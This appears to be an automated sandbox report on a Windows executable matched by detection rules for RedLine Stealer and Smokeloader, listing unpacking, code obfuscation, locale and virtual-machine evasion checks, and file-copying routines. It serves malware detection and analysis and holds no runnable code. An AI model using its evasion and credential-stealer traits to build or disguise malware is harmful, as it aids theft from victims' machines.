Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: lxEu3xfjIb.exe, lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00409E30 memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00409E30

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2288500521.0000000002C23000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Detected potential crypto function

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0487F4FF	0_2_0487F4FF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0487159F	0_2_0487159F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0489A5FF	0_2_0489A5FF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048836EF	0_2_048836EF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048CA76F	0_2_048CA76F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048BA08F	0_2_048BA08F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048A8040	0_2_048A8040
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048AA19F	0_2_048AA19F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0489B1CF	0_2_0489B1CF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048711DF	0_2_048711DF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048882DF	0_2_048882DF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048B134F	0_2_048B134F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048B5C00	0_2_048B5C00
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0489AD0F	0_2_0489AD0F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048AED3D	0_2_048AED3D
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048AFFEF	0_2_048AFFEF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048BC805	0_2_048BC805
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0486D9AB	0_2_0486D9AB
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048B9AAF	0_2_048B9AAF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048ACA0F	0_2_048ACA0F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04883A0F	0_2_04883A0F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04885B2F	0_2_04885B2F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048C8B64	0_2_048C8B64

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: String function: 00404610 appears 317 times

One or more processes crash

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 1052

Uses 32bit PE files

Source: lxEu3xfjIb.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Yara signature match

Source: 00000000.00000002.2288500521.0000000002C23000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: lxEu3xfjIb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/5@0/1

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00418810 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00418810

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00413970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413970

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Y3JRHVM0.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1436

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\d3086a13-7b52-44cc-b9c5-e403a51bfe22

Jump to behavior

Source: lxEu3xfjIb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lxEu3xfjIb.exe "C:\Users\user\Desktop\lxEu3xfjIb.exe"
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 1052

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: my_library.pdbU source: lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: lxEu3xfjIb.exe, lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Unpacked PE file: 0.2.lxEu3xfjIb.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Unpacked PE file: 0.2.lxEu3xfjIb.exe.400000.0.unpack

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

0_2_00419F20

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0041B335 push ecx; ret	0_2_0041B348
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C25A3D push 7D7C6160h; retf	0_2_02C25A42
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C233F4 push cs; retn 0002h	0_2_02C2340E
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C2310D push cs; retn 0002h	0_2_02C2310E
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C23117 push cs; retn 0002h	0_2_02C23126
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0485B59C push ecx; ret	0_2_0485B5AF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048C9280 push ecx; ret	0_2_048C9293

Source: lxEu3xfjIb.exe

Static PE information: section name: .text entropy: 7.84625610084164

Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

0_2_00419F20

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Found evaded block containing many API calls

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Evaded block: after key decision

Found large amount of non-executed APIs

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

API coverage: 6.3 %

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484E797 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0484E797
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484F087 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0484F087
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484C0A7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0484C0A7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484E177 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0484E177
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854357 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_04854357
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854DC7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_04854DC7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484DDE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0484DDE7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04853D67 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_04853D67
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04841977 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_04841977
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484FA17 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0484FA17
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854A27 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_04854A27

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CF5000.00000004.00000020.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware Ng il
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

